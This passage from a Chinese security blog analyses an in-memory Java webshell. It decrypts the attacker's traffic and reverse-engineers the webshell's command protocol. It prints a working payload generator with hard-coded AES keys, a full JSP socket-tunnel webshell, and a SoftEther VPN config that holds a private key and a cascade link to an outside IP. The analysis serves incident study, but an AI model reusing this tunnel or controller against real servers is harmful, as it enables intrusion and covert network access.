从零开始的内存马分析——如何骑马反杀(文末抽奖)(二)中
0x02 加密脚本
2.1 照猫画虎
打入内存马后,我们的流量就需要加上一层GZIP,我们接下来使用内存马中的一系列命令
首先我们打入内存马
经过测试,我们首先发出 methodName test ,就会收到sessionID
26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e
流量包4POST /web_war_exploded/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}
HTTP/1.1 200 Set-Cookie: JSESSIONID=D8A411B8D8226E192FD0935A0976D604; Path=/web_war_exploded; HttpOnly
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Sun, 31 Jul 2022 09:43:18 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37mMXD6GsMrDD4Ype2tIXHwyRH5UiUdhYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
没注入之前
注入后
然后我们使用 method getBasicsInfo 输入 我们的session
就会获取到 当前环境的相关信息
我们的session是 zBubm0zj9WhM0MtNm
我们加密尝试
我们的流量 =》GZIP =》 aes128 =》 hex
unhex(byte) =》 aes128(byte) =》 GZIP(byte) =》 hex写入文件
GZIP(byte) =》; aes128(byte) =》 hex ;
package hello.controller;
import lombok.var;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
import java.util.zip.GZIPOutputStream;public class payloadG { public static String stringToHexString(String s) { String str = ""; for (int i = 0; i < s.length(); i++) { int ch = s.charAt(i); String s4 = Integer.toHexString(ch);
str = str + s4;
} return str;
} public static byte[] compress(byte[] data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 压缩
compress(bais,baos);
byte[] output = baos.toByteArray();
baos.flush();
baos.close();
bais.close(); return output;
} //数据压缩
public static void compress(InputStream is, OutputStream os) throws Exception {
GZIPOutputStream gos = new GZIPOutputStream(os); int count;
byte data[] = new byte[1024]; while ((count = is.read(data, 0, 1024)) != -1) {
gos.write(data, 0, count);
}
gos.finish();
gos.flush();
gos.close();
} public static byte[] base64Decode(byte[] bytes) {
byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} public static byte[] encrypt2(byte[] byteContent) { try {
SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
// byte[] byteContent = content.getBytes("utf-8");
cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
byte[] result = cipher.doFinal(byteContent); return result; // 加密
} catch (Exception e){
e.printStackTrace();
} return null;
} public static byte[] xor(byte[] data) {
byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
index = i - 1;
data[index] = (byte) (data[index] ^ key[i % keyLen]);
i++;
} return data;
} public static String byteToHex(byte[] bytes){ String strHex = "";
StringBuilder sb = new StringBuilder(""); for (int n = 0; n < bytes.length; n++) {
strHex = Integer.toHexString(bytes[n] & 0xFF);
sb.append((strHex.length() == 1) ? "0" + strHex : strHex); // 每个字节由两个字符表示,位数不够,高位补0
} return sb.toString().trim();
} public static String parseByte2HexStr(byte buf[]) {
StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) {
hex = '0' + hex;
}
sb.append(hex.toUpperCase());
} return sb.toString();
} public static byte[] hexToByteArray(String inHex){ int hexlen = inHex.length();
byte[] result; if (hexlen % 2 == 1){ //奇数
hexlen++;
result = new byte[(hexlen/2)];
inHex="0"+inHex;
}else { //偶数
result = new byte[(hexlen/2)];
} int j=0; for (int i = 0; i < hexlen; i+=2){
result[j]=hexToByte(inHex.substring(i,i+2));
j++;
} return result;
} public static byte hexToByte(String inHex){ return (byte)Integer.parseInt(inHex,16);
} public static void main(String[] args) throws Exception {
System.out.println("指定你选择的类:输入(methodName)"); var sc = new Scanner(System.in); String flow = sc.nextLine(); String STX = "02"; String CR = "0D"; String NUL = "00"; String DC1 = "11"; String EOT = "04"; if(flow.equals("methodName")){
System.out.println("请输入想要调用的的sessionid(getBasicsInfosessionId,test)"); var sc1 = new Scanner(System.in); String flow1 = sc1.nextLine(); String hheexx = stringToHexString(flow); //System.out.println(hheexx);
String result1 = hheexx + STX + CR + NUL + NUL + NUL; String result2 = stringToHexString(flow1) + STX + DC1 + NUL + NUL + NUL; //System.out.println(result2);
if(flow1.equals("getBasicsInfosessionId")){
System.out.println("请输入sessionid"); var sc2 = new Scanner(System.in); String flow2 = sc1.nextLine(); String re = result1 + result2 + stringToHexString(flow2);
System.out.println("命令:"+ flow + flow1 + flow2);
System.out.println("hex流量:"+re);
System.out.println("报文:"+byteToHex(encrypt2(compress(hexToByteArray(re.toLowerCase())))));
} if(flow1.equals("test")){
result1 = hheexx + STX + EOT + NUL + NUL + NUL; String re = result1 + stringToHexString("test");
System.out.println("命令:"+ flow + flow1);
System.out.println("hex流量:"+re);
System.out.println("报文:"+byteToHex(encrypt2(compress(hexToByteArray(re.toLowerCase())))));
}
}
}
}
发送之后,获取到我们电脑的所有数据
methodName closesessionId zfHMcDwYAIqwMUS82
在传文件的时候,
我们也捕获了他的报文,因为太长了,我们存在文件里,
解16 进制的时候,也有一些命令,
上传大文件
MZ咨询了师傅就是PE文件头
但是始终不能执行,最后发现,他分片传输了,我们对样本进行搜索
我们只到了一半不到,我们解密下一半数据包
最终合成之后,是一个vpn软件,packetiX VPN
功能还是比较完善的,注册服务,隐藏任务栏,还是比较智能的
注册服务需要admin
fileName& E:/NC65home/bin/cert/vpn_bridge.configfileValueT. # Software Configuration File# # You can edit this file when the program is not working.# declare root
{
uint ConfigRevision 18
bool IPsecMessageDisplayed false
bool VgsMessageDisplayed false
declare ListenerList
{ declare Listener0
{ bool DisableDos false
bool Enabled true
uint Port 443
} declare Listener1
{ bool DisableDos false
bool Enabled true
uint Port 992
} declare Listener2
{ bool DisableDos false
bool Enabled true
uint Port 1194
} declare Listener3
{ bool DisableDos false
bool Enabled true
uint Port 8888
}
} declare LocalBridgeList
{ bool EnableSoftEtherKernelModeDriver true
bool ShowAllInterfaces false
} declare ServerConfiguration
{
uint64 AutoDeleteCheckDiskFreeSpaceMin 8589934592
uint AutoSaveConfigSpan 300
bool BackupConfigOnlyWhenModified false
string CipherName RC4-MD5
uint CurrentBuild 9378
bool DisableDeadLockCheck false
bool DisableDosProction false
bool DisableIntelAesAcceleration false
bool DisableIPv6Listener false
bool DontBackupConfig true
byte HashedPassword +1LL01Ii2zKsr+r5M4gDijVCBXI= string KeepConnectHost 8.8.8.8
uint KeepConnectInterval 50
uint KeepConnectPort 80
uint KeepConnectProtocol 1
uint MaxConnectionsPerIP 256
uint MaxUnestablishedConnections 1000
bool NoDebugDump false
bool NoHighPriorityProcess false
bool NoSendSignature false
bool SaveDebugLog false
byte ServerCert MIIDKjCCAhICAQAwDQYJKoZIhvcNAQEFBQAwWzEYMBYGA1UEAxMPV0lOLUIwUU83SjRNNlVMMRgwFgYDVQQKEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAsTD1dJTi1CMFFPN0o0TTZVTDELMAkGA1UEBhMCVVMwHhcNMTcwNzAyMTI0MTM4WhcNMzYxMjMxMTI0MTM4WjBbMRgwFgYDVQQDEw9XSU4tQjBRTzdKNE02VUwxGDAWBgNVBAoTD1dJTi1CMFFPN0o0TTZVTDEYMBYGA1UECxMPV0lOLUIwUU83SjRNNlVMMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK7aiqB9fTvCR9vj94SGbsOIbnS7+npX3FuzSBg68zCDew+wxgUt/+4M8ecUI7nG+YQJUZdQhCvMtq1WQ6Q79Uut08dxCzyL2ChOLykNY+Siaauc8nQzsjnp/mGo93ZrOoNa8Tz+QkxW6F9JVIl0aPaEq1hdtrtO/ogO658h9yLm+MTIPRDvjnB2L02HXJ17vsF+KD8NX+djJnpDc9ocQlOSALxi+XUlteS+Qi8Lc8uIqgzuH56wqVe1z4sFlOjuZqhwxLQACeYY9f1/c43UjSAZ4RRjWxd2UE9nB/AuI8wfcEmEq/GtDDfWYbus5yBQxQ0QCUIzCv/y3uCTDhxFha8CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEACuxYY7r+0IPE196QOAqYaiteI18obZ6Q1wEr8jLJvw7FvME+ygfARljNRoiqZsCRLzX1C2ZZDIiDB2XktBs5/eTvWGedho07y0NJZ9kTSp7CP2VTeqWe2y0bj32SqyjoYYcn4aoR5cuWDI3l/ncX1jjmyvoCBbG9flrBemTkvuPGuybmWgiWjrwbkkhyccXbqgoWaVBs1zv+UKxWUxNJPi/XBKX3nbt3Ix53Qr/C4RWeWN7ImmviCGG5lydGNH8IL6NWGNwhVBE11AKhD9H6zVBGlodTsvhT9LeP5EMDv6A/wGE54/6Ac/HDe3E0RDEnvQ/SyQyWHOeT/W1C/RUfNQ==
byte ServerKey MIIEpAIBAAKCAQEArtqKoH19O8JH2+P3hIZuw4hudLv6elfcW7NIGDrzMIN7D7DGBS3/7gzx5xQjucb5hAlRl1CEK8y2rVZDpDv1S63Tx3ELPIvYKE4vKQ1j5KJpq5zydDOyOen+Yaj3dms6g1rxPP5CTFboX0lUiXRo9oSrWF22u07+iA7rnyH3Iub4xMg9EO+OcHYvTYdcnXu+wX4oPw1f52MmekNz2hxCU5IAvGL5dSW15L5CLwtzy4iqDO4fnrCpV7XPiwWU6O5mqHDEtAAJ5hj1/X9zjdSNIBnhFGNbF3ZQT2cH8C4jzB9wSYSr8a0MN9Zhu6znIFDFDRAJQjMK//Le4JMOHEWFrwIDAQABAoIBAA1sO24clAuNW4TW2D51L3WVOJ1/fLf9nK3xclxh0h9sSHso39qv8FCu77cEhcWSL79iE8Bg7vSJz5A46hJmg+seWf6af/lS5vIZJmepXnzDtwb0kmw3N7xYaS3IEc8mZiSFS7WZ8y73EPmXoIS4ygH6p0iuUQPKCaIaOx5JNjaYkekV7F0IelxOtk6ukhX3PBvNm7yOh4UWHPZRiwDaRTHYSOXDkfUYjN0H/nEoRp5c91qkQWLycxu2iie8UYHjV53oRkbFZulr6kpA5vb2/NakkVsntic26ve7VLs/VG+tnb3kbYGoKim9tYH6UODHhK6bnKxQs2dK0d3h198uO5kCgYEA6KJQH9H2yWwn/cUbv1Ak9yoNSexMajdbsoI5F9BhPzRi9IJTx4qfvuy3dSLv/AZwvGvDoq8j5TaR9hZeQpPKEvniuubUzB4V36nKrofuf80T9P4HxOnY6EJZLnxKnuVN+U3HVxzsgCi2CEWwXdA+m53axu5z9dlVsTvLfMhafDUCgYEAwGqHtoMqQpxYPMIhLqbhIYCotlHTBRMEpuHhR4Lsayy+3EqFqxbRYK1i4LteMFiuAEXzLNVNQmqinAYowmuw/zNrenUaq0szfjl9pozLwThJwFc7aXRXOjjMsZSnvvXgm2QLUSm++pXF90ULZuj1cIN++fkaIRvqt9x2REmVTtMCgYEAwLCRRYoYrEZV6bE2hoTP2ZqPX0fHE8O+xGFxAPStWDkALh81XfbI0tAoNXI27b436xon9by0Msu8ouVsNiFMI+OvlbhVUq0o2RY+t8oIFvu7KBayQLyh2d/7FrIE7RBqQbHXB6UBkDYocTmoGEzBTwy1hklE68KVZDRvHHCn4nECgYAMq/dcEa9Ky7kT50UAKYVSC4MQ3rqi7umzg9SuPPUM6dl38IB1D/+h+kk0u6IsVOrAodqt7S41XYhv9gfhJe52IBDH88ZZ2Y3+lhKsUUFp7CcPP69t9nd4Ih145G1XqiGsmh4UrkchgZOUATwK/vSLAF3wYHNUEt6WVTKEtMPceQKBgQC0r7W2tMvGLJRN3Hr9la0SrWtSSNxSDuxo9ovC/Q+M4ErKfntKApQu9CJ7TraoDX6iQNW7MXpf3wI8KmLjpDYAf3C0xCLhBpy2xcl37uQRBzbPlmZwAD6JDRF6HLlz/ObIGF7BHiKKtdRb4EDNqKqbZsbmXeZZ+oF4GsqpnOfQ3Q==
bool UseKeepConnect false
bool UseWebTimePage false
bool UseWebUI false
declare ServerTraffic
{ declare RecvTraffic
{
uint64 BroadcastBytes 296460
uint64 BroadcastCount 4860
uint64 UnicastBytes 191772
uint64 UnicastCount 4566
} declare SendTraffic
{
uint64 BroadcastBytes 283528
uint64 BroadcastCount 4648
uint64 UnicastBytes 191772
uint64 UnicastCount 4566
}
} declare SyslogSettings
{ string HostName $
uint Port 514
uint SaveType 0
}
} declare VirtualHUB
{ declare BRIDGE
{
uint64 CreatedTime 1498966898050
byte HashedPassword cMhqzoagDKaRUmp6Voy3KOO8UwU=
uint64 LastCommTime 1658683962140
uint64 LastLoginTime 1498966898050
uint NumLogin 0
uint RadiusRetryInterval 0
uint RadiusServerPort 1812
string RadiusSuffixFilter $
byte SecurePassword 5+v8hsOTxxh0Es1E5Q2foTPKmwA=
uint Type 0
declare AccessList
{
} declare AdminOption
{
uint allow_hub_admin_change_option 0
uint deny_bridge 0
uint deny_change_user_password 0
uint deny_empty_password 0
uint deny_hub_admin_change_ext_option 0
uint deny_qos 0
uint deny_routing 0
uint max_accesslists 0
uint max_bitrates_download 0
uint max_bitrates_upload 0
uint max_groups 0
uint max_multilogins_per_user 0
uint max_sessions 0
uint max_sessions_bridge 0
uint max_sessions_client 0
uint max_sessions_client_bridge_apply 0
uint max_users 0
uint no_access_list_include_file 0
uint no_cascade 0
uint no_change_access_control_list 0
uint no_change_access_list 0
uint no_change_admin_password 0
uint no_change_cert_list 0
uint no_change_crl_list 0
uint no_change_groups 0
uint no_change_log_config 0
uint no_change_log_switch_type 0
uint no_change_msg 0
uint no_change_users 0
uint no_delay_jitter_packet_loss 0
uint no_delete_iptable 0
uint no_delete_mactable 0
uint no_disconnect_session 0
uint no_enum_session 0
uint no_offline 0
uint no_online 0
uint no_query_session 0
uint no_read_log_file 0
uint no_securenat 0
uint no_securenat_enabledhcp 0
uint no_securenat_enablenat 0
} declare CascadeList
{ declare Cascade0
{ bool CheckServerCert false
bool Online true
declare ClientAuth
{
uint AuthType 1
byte HashedPassword bqIe5x7T35DFj//sj/mSZLzUetQ=
string Username fuck
} declare ClientOption
{ string AccountName 39.107.244.96
uint AdditionalConnectionInterval 1
uint ConnectionDisconnectSpan 0
string DeviceName _SEHUBLINKCLI_ bool DisableQoS false
bool HalfConnection false
bool HideNicInfoWindow false
bool HideStatusWindow false
string Hostname 39.107.244.96
string HubName lvye
uint MaxConnection 3
bool NoRoutingTracking true
bool NoTls1 false
bool NoUdpAcceleration false
uint NumRetry 4294967295
uint Port 443
uint PortUDP 0
string ProxyName $
byte ProxyPassword $
uint ProxyPort 0
uint ProxyType 0
string ProxyUsername $ bool RequireBridgeRoutingMode true
bool RequireMonitorMode false
uint RetryInterval 10
bool UseCompress false
bool UseEncrypt true
} declare Policy
{ bool ArpDhcpOnly false
bool CheckIP false
bool CheckIPv6 false
bool CheckMac false
bool DHCPFilter false
bool DHCPForce false
bool DHCPNoServer false
bool DHCPv6Filter false
bool DHCPv6NoServer false
bool FilterIPv4 false
bool FilterIPv6 false
bool FilterNonIP false
uint MaxDownload 0
uint MaxIP 0
uint MaxIPv6 0
uint MaxMac 0
uint MaxUpload 0
bool NoBroadcastLimiter false
bool NoIPv6DefaultRouterInRA false
bool NoIPv6DefaultRouterInRAWhenIPv6 false
bool NoServer false
bool NoServerV6 false
bool RAFilter false
bool RSandRAFilter false
uint VLanId 0
}
}
} declare LogSetting
{
uint PacketLogSwitchType 4
uint PACKET_LOG_ARP 0
uint PACKET_LOG_DHCP 1
uint PACKET_LOG_ETHERNET 0
uint PACKET_LOG_ICMP 0
uint PACKET_LOG_IP 0
uint PACKET_LOG_TCP 0
uint PACKET_LOG_TCP_CONN 1
uint PACKET_LOG_UDP 0
bool SavePacketLog false
bool SaveSecurityLog false
uint SecurityLogSwitchType 4
} declare Message
{
} declare Option
{
uint AccessListIncludeFileCacheLifetime 30
uint AdjustTcpMssValue 0
bool ApplyIPv4AccessListOnArpPacket false
bool BroadcastLimiterStrictMode false
uint BroadcastStormDetectionThreshold 0
uint ClientMinimumRequiredBuild 0
bool DisableAdjustTcpMss false
bool DisableCheckMacOnLocalBridge false
bool DisableCorrectIpOffloadChecksum false
bool DisableHttpParsing false
bool DisableIPParsing false
bool DisableKernelModeSecureNAT false
bool DisableUdpAcceleration false
bool DisableUdpFilterForLocalBridgeNic false
bool DisableUserModeSecureNAT false
bool DoNotSaveHeavySecurityLogs false
bool FilterBPDU false
bool FilterIPv4 false
bool FilterIPv6 false
bool FilterNonIP false
bool FilterOSPF false
bool FilterPPPoE false
bool ManageOnlyLocalUnicastIPv6 true
bool ManageOnlyPrivateIP true
uint MaxLoggedPacketsPerMinute 0
uint MaxSession 0
bool NoArpPolling true
bool NoDhcpPacketLogOutsideHub true
bool NoEnum false
bool NoIpTable false
bool NoIPv4PacketLog false
bool NoIPv6AddrPolling false
bool NoIPv6DefaultRouterInRAWhenIPv6 true
bool NoIPv6PacketLog false
bool NoLookBPDUBridgeId false
bool NoMacAddressLog true
bool NoManageVlanId false
bool NoSpinLockForPacketDelay false
bool RemoveDefGwOnDhcpForLocalhost true
uint RequiredClientId 0
uint SecureNAT_MaxDnsSessionsPerIp 0
uint SecureNAT_MaxIcmpSessionsPerIp 0
uint SecureNAT_MaxTcpSessionsPerIp 0
uint SecureNAT_MaxTcpSynSentPerIp 0
uint SecureNAT_MaxUdpSessionsPerIp 0
string VlanTypeId 0x8100
bool YieldAfterStorePacket false
} declare SecureNAT
{ bool Disabled false
bool SaveLog false
declare VirtualDhcpServer
{ string DhcpDnsServerAddress 192.168.30.1
string DhcpDnsServerAddress2 0.0.0.0
string DhcpDomainName localdomain bool DhcpEnabled true
uint DhcpExpireTimeSpan 7200
string DhcpGatewayAddress 192.168.30.1
string DhcpLeaseIPEnd 192.168.30.200
string DhcpLeaseIPStart 192.168.30.10
string DhcpSubnetMask 255.255.255.0
} declare VirtualHost
{ string VirtualHostIp 192.168.30.1
string VirtualHostIpSubnetMask 255.255.255.0
string VirtualHostMacAddress 00-AC-A6-9A-81-1B
} declare VirtualRouter
{ bool NatEnabled true
uint NatMtu 1500
uint NatTcpTimeout 1800
uint NatUdpTimeout 60
}
} declare Traffic
{ declare RecvTraffic
{
uint64 BroadcastBytes 296460
uint64 BroadcastCount 4860
uint64 UnicastBytes 191772
uint64 UnicastCount 4566
} declare SendTraffic
{
uint64 BroadcastBytes 283528
uint64 BroadcastCount 4648
uint64 UnicastBytes 191772
uint64 UnicastCount 4566
}
}
}
}
}
methodName
uploadFilesessionId rk36LtN8sGY4moG8B
之后我们找到了他的配置文件,他的传递文件格式 为
fineNameSTX&NULNULNUL E://xxx/xxx/x/vpn.bridge.configfileValueSTX T. NULNULmethodNameSTXNULNULNULuploadFilesessionIdSTXDC1NULNULNUL xxx
ZWBSP 文件开头的
在流量中重解密出
windowsConfig.jsp
fileName5 E:/NC65home/webapps/nc_web/ncupload/windowsConfig.jspfileValue+ <%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) {
b1 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("=="); break;
}
b2 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("="); break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
} return sb.toString();
} private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) {
byte[] data = str.getBytes(); int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do {
b1 = de[data[i++]];
} while (i < len && b1 == -1); if (b1 == -1) { break;
} do {
b2 = de[data[i++]];
} while (i < len && b2 == -1); if (b2 == -1) { break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do {
b3 = data[i++]; if (b3 == 61) { return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1); if (b3 == -1) { break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do {
b4 = data[i++]; if (b4 == 61) { return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1); if (b4 == -1) { break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
} return buf.toByteArray();
} static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
} return out.substring(0, out.length() - 1);
} boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true;
}
} return false;
}
%>
<% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) {
rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){
response.reset(); String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true); // conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu);
Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
} int i;
byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){
OutputStream output; try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return;
}
ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
} for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream(); if (hin == null){
response.setStatus(200); return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
} String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush(); if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = "";
InputStream in = request.getInputStream(); while ( true ){
byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip(); while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("");
}
%>
methodName
uploadFilesessionId Pjlt4vQVL73YdeaRu
也就是说,上传普通文件的格式
fileName STX 5 NUL NUL NUL 文件路径fileValueSTX DC3 +NUL NUL 内容
methodNameSTX NUL NUL NUL uploadFilesessionId STXDC1 NUL NUL NUL sessinonid
这些STX NUL 等都是一个序列化的东西解码出来的,我们可以尝试进行发送序列化对象,这个先按下不表,统一的加解密代码仍需一段时间编写。
2.2 照虎画猫
我们针对内存马,将功能进行逆向编写控制端。
2.2.1 功能1 test
methodName test
和我们的完全一致,
也就是说理论上,我们可以根据代码,逆向写出所有的功能
不再需要我们的拼接
2.2.2 功能2 getBasicsInfo
methodName getBasicsInfo
sessionId xxxxxxx
2.2.3 功能3 bigFileUpload
fileName:E:/NC65home/bin/cert/dllhelp.exe
methodName:bigFileUpload
position:0//position是偏移量sessionId:rk36LtN8sGY4moG8B
fileContents: 跟byte程序
2.2.4 功能4 uploadFile
fileName xxx
fileValue byte[]xxx
methodName uploadFile
sessionId xxxxxx
同理我们根据内存马代码推断如下方法
2.2.5 功能5 newFile
fileName xxxx
methodName newFile
sessionId xxxxxx
2.2.6 功能6 readFile
fileName xxxxxx
methodName readFile
sessionId xxxxxx
2.2.7 功能7 fileRemoteDown
url http://xxxxxx/xxxxsaveFile 路径/文件名
methodName fileRemoteDown
sessionId xxxxxx
2.2.8 功能8 include
加载字节码
binCode binarycodeName xxxx
methodName includesessionID xxxxx
2.2.9功能 9 deleteFIle
